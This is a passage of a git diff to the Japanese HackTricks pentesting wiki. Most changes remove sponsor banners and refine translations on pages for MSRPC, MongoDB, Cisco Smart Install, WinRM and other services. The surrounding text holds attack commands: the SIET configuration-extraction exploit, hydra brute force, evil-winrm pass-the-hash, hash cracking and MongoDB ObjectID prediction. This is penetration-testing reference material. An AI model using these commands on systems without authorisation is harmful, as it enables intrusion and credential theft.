+他のエラー: ![](<../images/image (359).png>) ### Nmap -デフォルトでは (\`-sC\`\`) nmap はすべての実行中のポートのすべてのユーザーを特定します: +デフォルトでは(\`-sC\`\`)、nmap はすべての実行中のポートのすべてのユーザーを特定します: ``` PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) @@ -69,17 +62,10 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) - `oident` -## Files +## ファイル identd.conf -
- -[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=113-pentesting-ident)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、**自動化します。\ -今すぐアクセスを取得: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=113-pentesting-ident" %} - ## HackTricks 自動コマンド ``` Protocol_Name: Ident #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/135-pentesting-msrpc.md b/src/network-services-pentesting/135-pentesting-msrpc.md index e52c125fb..b866c3ae3 100644 --- a/src/network-services-pentesting/135-pentesting-msrpc.md +++ b/src/network-services-pentesting/135-pentesting-msrpc.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
+## 基本情報 -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください! - -**Hacking Insights**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**Real-Time Hack News**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう - -**Latest Announcements**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得ましょう - -**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today! - -## Basic Information - -Microsoft Remote Procedure Call (MSRPC)プロトコルは、クライアント-サーバーモデルであり、プログラムが別のコンピュータ上にあるプログラムからサービスを要求することを可能にし、ネットワークの詳細を理解することなく機能します。このプロトコルは、最初はオープンソースソフトウェアから派生し、その後Microsoftによって開発され、著作権が付与されました。 +Microsoft Remote Procedure Call (MSRPC) プロトコルは、クライアント-サーバーモデルであり、プログラムが別のコンピュータ上にあるプログラムからサービスを要求することを可能にし、ネットワークの詳細を理解することなく機能します。このプロトコルは、最初はオープンソースソフトウェアから派生し、その後Microsoftによって開発され、著作権が付与されました。 RPCエンドポイントマッパーは、TCPおよびUDPポート135、TCP 139および445のSMB(ヌルまたは認証されたセッションで)、およびTCPポート593のWebサービスを介してアクセスできます。 ``` @@ -33,7 +18,7 @@ RPCエンドポイントマッパーは、TCPおよびUDPポート135、TCP 139 ## **公開されているRPCサービスの特定** -TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開は、RPCロケータサービスおよび個々のエンドポイントをクエリすることによって判断できます。rpcdumpなどのツールは、**IFID**値によって示されるユニークなRPCサービスの特定を容易にし、サービスの詳細と通信バインディングを明らかにします: +TCP、UDP、HTTP、およびSMBを介したRPCサービスの公開は、RPCロケータサービスおよび個々のエンドポイントにクエリを実行することで判断できます。rpcdumpなどのツールは、**IFID**値によって示されるユニークなRPCサービスの特定を容易にし、サービスの詳細と通信バインディングを明らかにします: ``` D:\rpctools> rpcdump [-p port] **IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0 @@ -41,7 +26,7 @@ Annotation: Messenger Service UUID: 00000000-0000-0000-0000-000000000000 Binding: ncadg_ip_udp:[1028] ``` -RPCロケータサービスへのアクセスは、特定のプロトコルを通じて有効になります:ポート135を介してアクセスするためのncacn_ip_tcpおよびncadg_ip_udp、SMB接続のためのncacn_np、ウェブベースのRPC通信のためのncacn_httpです。以下のコマンドは、主にポート135に焦点を当てて、MSRPCサービスを監査および対話するためのMetasploitモジュールの利用を示しています: +RPCロケータサービスへのアクセスは、特定のプロトコルを通じて有効になります:ncacn_ip_tcpおよびncadg_ip_udpはポート135を介してアクセスするため、ncacn_npはSMB接続用、ncacn_httpはWebベースのRPC通信用です。以下のコマンドは、主にポート135に焦点を当てて、MSRPCサービスを監査および対話するためのMetasploitモジュールの利用を示しています: ```bash use auxiliary/scanner/dcerpc/endpoint_mapper use auxiliary/scanner/dcerpc/hidden @@ -49,7 +34,7 @@ use auxiliary/scanner/dcerpc/management use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor rpcdump.py -p 135 ``` -All options except `tcp_dcerpc_auditor`は、ポート135のMSRPCをターゲットにするために特別に設計されています。 +すべてのオプションは `tcp_dcerpc_auditor` を除いて、ポート135でMSRPCをターゲットにするために特別に設計されています。 #### 注目すべきRPCインターフェース @@ -67,7 +52,7 @@ All options except `tcp_dcerpc_auditor`は、ポート135のMSRPCをターゲッ - **Description**: タスクスケジューラ、リモートでコマンドを実行するために使用されます。 - **IFID**: 338cd001-2244-31f1-aaaa-900038001003 - **Named Pipe**: `\pipe\winreg` -- **Description**: リモートレジストリサービス、システムレジストリにアクセスし、変更するために使用されます。 +- **Description**: リモートレジストリサービス、システムレジストリにアクセスして変更するために使用されます。 - **IFID**: 367abb81-9844-35f1-ad32-98f038001003 - **Named Pipe**: `\pipe\svcctl` - **Description**: サービスコントロールマネージャーおよびサーバーサービス、リモートでサービスを開始および停止し、コマンドを実行するために使用されます。 @@ -82,11 +67,11 @@ All options except `tcp_dcerpc_auditor`は、ポート135のMSRPCをターゲッ [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver)を使用すると、[Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)からの_**ServerAlive2**_メソッドを_**IOXIDResolver**_インターフェース内で悪用することが可能です。 -このメソッドは、HTBボックス_APT_から**IPv6**アドレスとしてインターフェース情報を取得するために使用されました。0xdfのAPTの詳細については[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)を参照してください。rpcmap.pyを使用した代替メソッドが含まれています。[Impacket](https://github.com/SecureAuthCorp/impacket/)の_stringbinding_(上記参照)。 +このメソッドは、HTBボックス_APT_から**IPv6**アドレスとしてインターフェース情報を取得するために使用されました。0xdfのAPTの詳細については[こちら](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)を参照してください。rpcmap.pyを使用した代替メソッドが含まれています。[Impacket](https://github.com/SecureAuthCorp/impacket/)の_stringbinding_(上記参照)を使用しています。 -### 有効な資格情報を使用したRCEの実行 +### 有効な資格情報でのRCEの実行 -有効なユーザーの資格情報が利用可能な場合、マシン上でリモートコードを実行することが可能です。[dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py)を使用して、impacketフレームワークから実行できます。 +有効なユーザーの資格情報が利用可能な場合、[dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py)を使用して、マシン上でリモートコードを実行することが可能です。 **利用可能な異なるオブジェクトで試すことを忘れないでください** @@ -104,19 +89,4 @@ All options except `tcp_dcerpc_auditor`は、ポート135のMSRPCをターゲッ - [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/) - [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/) -
- -[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握しましょう - -**最新の発表**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう - -**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で、今日からトップハッカーとコラボレーションを始めましょう! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md index d0558ee35..8ad6cae69 100644 --- a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md +++ b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md @@ -2,17 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -
-**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## 基本情報 RabbitMQについての詳細は[**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md)で学ぶことができます。\ このポートでは、[management plugin](https://www.rabbitmq.com/management.html)が有効になっている場合、RabbitMQ Managementウェブコンソールを見つけることができます。\ -メインページは次のようになります: +メインページは次のようになります: ![](<../images/image (336).png>) @@ -20,7 +16,7 @@ RabbitMQについての詳細は[**5671,5672 - Pentesting AMQP**](5671-5672-pent デフォルトの認証情報は"_**guest**_":"_**guest**_"です。これが機能しない場合は、[**ログインをブルートフォースする**](../generic-hacking/brute-force.md#http-post-form)ことを試みてください。 -このモジュールを手動で開始するには、次のコマンドを実行する必要があります: +このモジュールを手動で開始するには、次のコマンドを実行する必要があります: ``` rabbitmq-plugins enable rabbitmq_management service rabbitmq-server restart @@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist - `port:15672 http` -
-**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/27017-27018-mongodb.md b/src/network-services-pentesting/27017-27018-mongodb.md index dfbec5a79..b226287d9 100644 --- a/src/network-services-pentesting/27017-27018-mongodb.md +++ b/src/network-services-pentesting/27017-27018-mongodb.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
+## 基本情報 -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください! - -**Hacking Insights**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**Real-Time Hack News**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう - -**Latest Announcements**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得ましょう - -今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、トップハッカーとコラボレーションを始めましょう! - -## Basic Information - -**MongoDB**は、さまざまな形式のデータを処理するために**ドキュメント指向データベースモデル**を使用する**オープンソース**のデータベース管理システムです。ビッグデータ分析やコンテンツ管理などのアプリケーションで、非構造化または半構造化データを管理するための柔軟性とスケーラビリティを提供します。**デフォルトポート:** 27017, 27018 +**MongoDB** は **オープンソース** のデータベース管理システムで、**ドキュメント指向データベースモデル** を使用して多様なデータ形式を処理します。ビッグデータ分析やコンテンツ管理などのアプリケーションで、非構造化データや半構造化データを管理するための柔軟性とスケーラビリティを提供します。**デフォルトポート:** 27017, 27018 ``` PORT STATE SERVICE VERSION 27017/tcp open mongodb MongoDB 2.6.9 2.6.9 @@ -75,49 +60,34 @@ nmap -n -sV --script mongodb-brute -p 27017 ``` ### [**ブルートフォース**](../generic-hacking/brute-force.md#mongo) -_credentials_が必要かどうかを確認するには、_/opt/bitnami/mongodb/mongodb.conf_を見てください: +_/opt/bitnami/mongodb/mongodb.conf_ を見て、認証情報が必要かどうかを確認します: ```bash grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed ``` ## Mongo Objectid 予測 -Example [from here](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)。 +Example [from here](https://techkranti.com/idor-through-mongodb-object-ids-prediction/). -Mongo Object IDs は **12バイトの16進数** 文字列です: +Mongo Object IDsは**12バイトの16進数**文字列です: ![http://techidiocy.com/_id-objectid-in-mongodb/](../images/id-and-ObjectIds-in-MongoDB.png) -例えば、アプリケーションから返された実際の Object ID を分解すると、5f2459ac9fa6dc2500314019 になります。 +例えば、アプリケーションから返された実際のObject IDを分解すると、5f2459ac9fa6dc2500314019のようになります。 -1. 5f2459ac: 1596217772(10進数) = 2020年7月31日金曜日 17:49:32 +1. 5f2459ac: 1596217772(10進数)= 2020年7月31日金曜日 17:49:32 2. 9fa6dc: マシン識別子 3. 2500: プロセスID 4. 314019: インクリメンタルカウンター -上記の要素のうち、マシン識別子はデータベースが同じ物理/仮想マシンで実行されている限り同じままです。プロセスIDは MongoDB プロセスが再起動されるとのみ変更されます。タイムスタンプは毎秒更新されます。カウンターとタイムスタンプの値を単純にインクリメントして Object IDs を推測する際の唯一の課題は、Mongo DB が Object IDs を生成し、システムレベルで Object IDs を割り当てるという事実です。 +上記の要素のうち、マシン識別子はデータベースが同じ物理/仮想マシンで実行されている限り同じままです。プロセスIDはMongoDBプロセスが再起動されない限り変更されません。タイムスタンプは毎秒更新されます。カウンターとタイムスタンプの値を単純にインクリメントしてObject IDsを推測する際の唯一の課題は、Mongo DBがObject IDsを生成し、システムレベルでObject IDsを割り当てるという事実です。 -ツール [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) は、開始 Object ID を与えると(アカウントを作成して開始 ID を取得できます)、次のオブジェクトに割り当てられる可能性のある約1000の推定 Object IDs を返しますので、それらをブルートフォースするだけです。 +ツール[https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict)は、開始Object IDを与えると(アカウントを作成して開始IDを取得できます)、次のオブジェクトに割り当てられる可能性のある約1000の推定Object IDsを返しますので、それらをブルートフォースするだけです。 -## ポスト +## Post -もしあなたが root であれば、**mongodb.conf** ファイルを **修正** して認証情報が不要になるようにできます(_noauth = true_)し、**認証情報なしでログイン** できます。 +もしあなたがrootであれば、**mongodb.conf**ファイルを**変更**して認証情報が不要になるようにできます(_noauth = true_)し、**認証情報なしでログイン**できます。 --- -
- -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加してください! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握しましょう - -**最新のお知らせ**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得ましょう - -**私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加し、今日からトップハッカーとコラボレーションを始めましょう! - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/4786-cisco-smart-install.md b/src/network-services-pentesting/4786-cisco-smart-install.md index 52c24f978..91809817f 100644 --- a/src/network-services-pentesting/4786-cisco-smart-install.md +++ b/src/network-services-pentesting/4786-cisco-smart-install.md @@ -2,13 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## 基本情報 -**Cisco Smart Install** は、新しいCiscoハードウェアの初期設定とオペレーティングシステムイメージのロードを自動化するためにCiscoが設計したものです。 **デフォルトでは、Cisco Smart InstallはCiscoハードウェアでアクティブであり、トランスポート層プロトコルTCPを使用し、ポート番号4786を使用します。** +**Cisco Smart Install** は、新しい Cisco ハードウェアの初期設定とオペレーティングシステムイメージのロードを自動化するために Cisco が設計したものです。 **デフォルトでは、Cisco Smart Install は Cisco ハードウェアでアクティブであり、トランスポート層プロトコル TCP を使用し、ポート番号 4786 を使用します。** **デフォルトポート:** 4786 ``` @@ -17,7 +14,7 @@ PORT STATE SERVICE ``` ## **スマートインストールエクスプロイトツール** -**2018年に、このプロトコルにおいて重大な脆弱性、CVE-2018–0171が発見されました。脅威レベルはCVSSスケールで9.8です。** +**2018年、このプロトコルに重大な脆弱性、CVE-2018–0171が発見されました。脅威レベルはCVSSスケールで9.8です。** **Cisco Smart InstallがアクティブなTCP/4786ポートに送信された特別に作成されたパケットがバッファオーバーフローを引き起こし、攻撃者が以下を行うことを可能にします:** @@ -29,7 +26,7 @@ PORT STATE SERVICE **ターゲットデバイスは「ライブ」Cisco Catalyst 2960スイッチです。仮想イメージにはCisco Smart Installがないため、実際のハードウェアでのみ練習できます。** -ターゲットスイッチのアドレスは**10.10.100.10で、CSIがアクティブです。** SIETをロードして攻撃を開始します。**-g引数**はデバイスからの設定の抽出を意味し、**-i引数**は脆弱なターゲットのIPアドレスを設定することを可能にします。 +ターゲットスイッチのアドレスは**10.10.100.10でCSIがアクティブです。** SIETをロードして攻撃を開始します。**-g引数**はデバイスからの設定の抽出を意味し、**-i引数**は脆弱なターゲットのIPアドレスを設定することを可能にします。 ``` ~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10 ``` @@ -39,8 +36,5 @@ PORT STATE SERVICE
-
- -{% embed url="https://websec.nl/" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/4840-pentesting-opc-ua.md b/src/network-services-pentesting/4840-pentesting-opc-ua.md index 74166b6f4..fe4b21def 100644 --- a/src/network-services-pentesting/4840-pentesting-opc-ua.md +++ b/src/network-services-pentesting/4840-pentesting-opc-ua.md @@ -2,21 +2,13 @@ {{#include ../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## 基本情報 -**OPC UA**(**Open Platform Communications Unified Access**の略)は、製造、エネルギー、航空宇宙、防衛などのさまざまな業界でデータ交換と機器制御に使用される重要なオープンソースプロトコルです。これは、特にPLCとの通信を可能にするために、異なるベンダーの機器が相互に通信できるようにします。 +**OPC UA**(**Open Platform Communications Unified Access**の略)は、製造、エネルギー、航空宇宙、防衛などのさまざまな業界でデータ交換や機器制御に使用される重要なオープンソースプロトコルです。これは、異なるベンダーの機器が通信できるようにし、特にPLCとの通信を可能にします。 -その構成は強力なセキュリティ対策を可能にしますが、古いデバイスとの互換性のために、これらはしばしば緩和され、システムがリスクにさらされることがあります。さらに、ネットワークスキャナーが非標準ポートにある場合、OPC UAサービスを検出できないことがあるため、見つけるのが難しいことがあります。 +その構成は強力なセキュリティ対策を可能にしますが、古いデバイスとの互換性のために、これらが緩和されることが多く、システムがリスクにさらされることがあります。さらに、OPC UAサービスを見つけるのは難しい場合があり、ネットワークスキャナーが非標準ポートにある場合は検出できないことがあります。 -**デフォルトポート:** 4840 +**デフォルトポート:** 4840 ```text PORT STATE SERVICE REASON 4840/tcp open unknown syn-ack @@ -29,7 +21,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port ``` ### 脆弱性の悪用 -認証バイパスの脆弱性が見つかった場合、適切に[OPC UAクライアント](https://www.prosysopc.com/products/opc-ua-browser/)を設定し、アクセスできるものを確認できます。これにより、プロセス値を単に読み取ることから、実際に重工業機器を操作することまで可能になる場合があります。 +認証バイパスの脆弱性が見つかった場合、適切に[OPC UAクライアント](https://www.prosysopc.com/products/opc-ua-browser/)を設定し、アクセスできるものを確認できます。これにより、プロセス値を単に読み取ることから、重機の操作まで可能になることがあります。 アクセスできるデバイスの手がかりを得るために、アドレス空間内の「ServerStatus」ノードの値を読み取り、使用マニュアルをグーグルで検索してください。 @@ -41,12 +33,5 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port - [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/) -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/512-pentesting-rexec.md b/src/network-services-pentesting/512-pentesting-rexec.md index 7ce354785..39bd82538 100644 --- a/src/network-services-pentesting/512-pentesting-rexec.md +++ b/src/network-services-pentesting/512-pentesting-rexec.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## 基本情報 -**有効な認証情報**(ユーザー名とパスワード)を知っている場合、**ホスト内でコマンドを実行することを許可するサービスです。** +これは、**有効な** **資格情報**(ユーザー名とパスワード)を知っている場合に、**ホスト内でコマンドを実行することを許可するサービス**です。 **デフォルトポート:** 512 ``` @@ -21,12 +14,5 @@ PORT STATE SERVICE ``` ### [**ブルートフォース**](../generic-hacking/brute-force.md#rexec) -
- -**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る** - -**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。 - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 6e94b00a6..3d030e4e2 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -2,35 +2,20 @@ {{#include ../banners/hacktricks-training.md}} -
- -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加してください! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう - -**最新のお知らせ**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください - -今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、トップハッカーとコラボレーションを始めましょう! - ## WinRM -[Windows Remote Management (WinRM)]() は、**Microsoftによって強調されたプロトコル**で、HTTP(S)を介して**Windowsシステムのリモート管理**を可能にし、その過程でSOAPを活用します。これは基本的にWMIによって動かされ、WMI操作のためのHTTPベースのインターフェースとして機能します。 +[Windows Remote Management (WinRM)]() は、**Microsoftによって強調されたプロトコル**であり、**HTTP(S)を通じてWindowsシステムのリモート管理を可能にします**。このプロセスではSOAPを利用しています。基本的にはWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして機能します。 -マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介した簡単なリモート管理が可能になります。WinRMが動作しているかどうかを確認するには、特定のポートが開いているかどうかをチェックすることが推奨されます: +マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介した簡単なリモート管理が可能になります。WinRMが動作しているかどうかを確認するには、特定のポートが開いているかをチェックすることが推奨されます: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** -上記のリストからポートが開いている場合、WinRMが設定されていることを示し、リモートセッションを開始する試みを許可します。 +上記のリストにあるポートが開いている場合、WinRMが設定されていることを示し、リモートセッションを開始する試みを許可します。 ### **WinRMセッションの開始** -WinRMのためにPowerShellを構成するには、Microsoftの`Enable-PSRemoting` cmdletが使用され、リモートPowerShellコマンドを受け入れるようにコンピュータが設定されます。昇格されたPowerShellアクセスを持つ場合、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定できます: +WinRMのためにPowerShellを構成するには、Microsoftの`Enable-PSRemoting` cmdletが使用され、コンピュータがリモートPowerShellコマンドを受け入れるように設定されます。昇格されたPowerShellアクセスを持っている場合、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定できます: ```powershell Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * @@ -51,11 +36,11 @@ wmic /node: process call create "powershell enable-psremoting -forc ```bash Test-WSMan ``` -プロトコルバージョンとwsmidに関する情報が含まれており、WinRMが正しく設定されていることを示しています。 +応答には、WinRMが正しく設定されていることを示すプロトコルバージョンとwsmidに関する情報が含まれるべきです。 ![](<../images/image (582).png>) -- 逆に、WinRMに対して**設定されていない**ターゲットの場合、詳細な情報は得られず、適切なWinRM設定がないことが強調されます。 +- 逆に、WinRMに対して**構成されていない**ターゲットの場合、詳細な情報は得られず、適切なWinRM設定がないことが強調されます。 ![](<../images/image (458).png>) @@ -137,22 +122,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 winrm quickconfig winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ``` -
- -[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界について最新情報を把握しましょう - -**最新のお知らせ**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう - -[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーとコラボレーションを始めましょう! - -## LinuxでのWinRM接続 +## WinRM接続のLinuxでの実行 ### ブルートフォース @@ -176,7 +146,7 @@ gem install evil-winrm ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` -**evil-winrm**を使用して**IPv6アドレス**に接続するには、_**/etc/hosts**_内にエントリを作成し、**ドメイン名**をIPv6アドレスに設定して、そのドメインに接続します。 +**evil-winrm**を使用して**IPv6アドレス**に接続するには、_**/etc/hosts**_内にエントリを作成し、IPv6アドレスに**ドメイン名**を設定して、そのドメインに接続します。 ### evil-winrmでハッシュを渡す ```ruby @@ -291,19 +261,6 @@ Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} ``` -
- -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界について最新情報を把握しましょう - -**最新のお知らせ**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください - -[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう! +​ {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/6000-pentesting-x11.md b/src/network-services-pentesting/6000-pentesting-x11.md index cb6a3d7f8..1e8e30ac2 100644 --- a/src/network-services-pentesting/6000-pentesting-x11.md +++ b/src/network-services-pentesting/6000-pentesting-x11.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう - -**最新のお知らせ**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください - -今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、トップハッカーとコラボレーションを始めましょう! - ## 基本情報 -**X Window System** (X) は、UNIXベースのオペレーティングシステムで広く使用されている多目的ウィンドウシステムです。これは、グラフィカルな**ユーザーインターフェース (GUI)**を作成するためのフレームワークを提供し、個々のプログラムがユーザーインターフェースのデザインを担当します。この柔軟性により、X環境内で多様でカスタマイズ可能な体験が可能になります。 +**X Window System** (X) は、UNIXベースのオペレーティングシステムで広く使用されている多目的ウィンドウシステムです。これは、グラフィカルな **ユーザーインターフェース (GUI)** を作成するためのフレームワークを提供し、個々のプログラムがユーザーインターフェースのデザインを担当します。この柔軟性により、X環境内で多様でカスタマイズ可能な体験が可能になります。 **デフォルトポート:** 6000 ``` @@ -35,7 +20,7 @@ msf> use 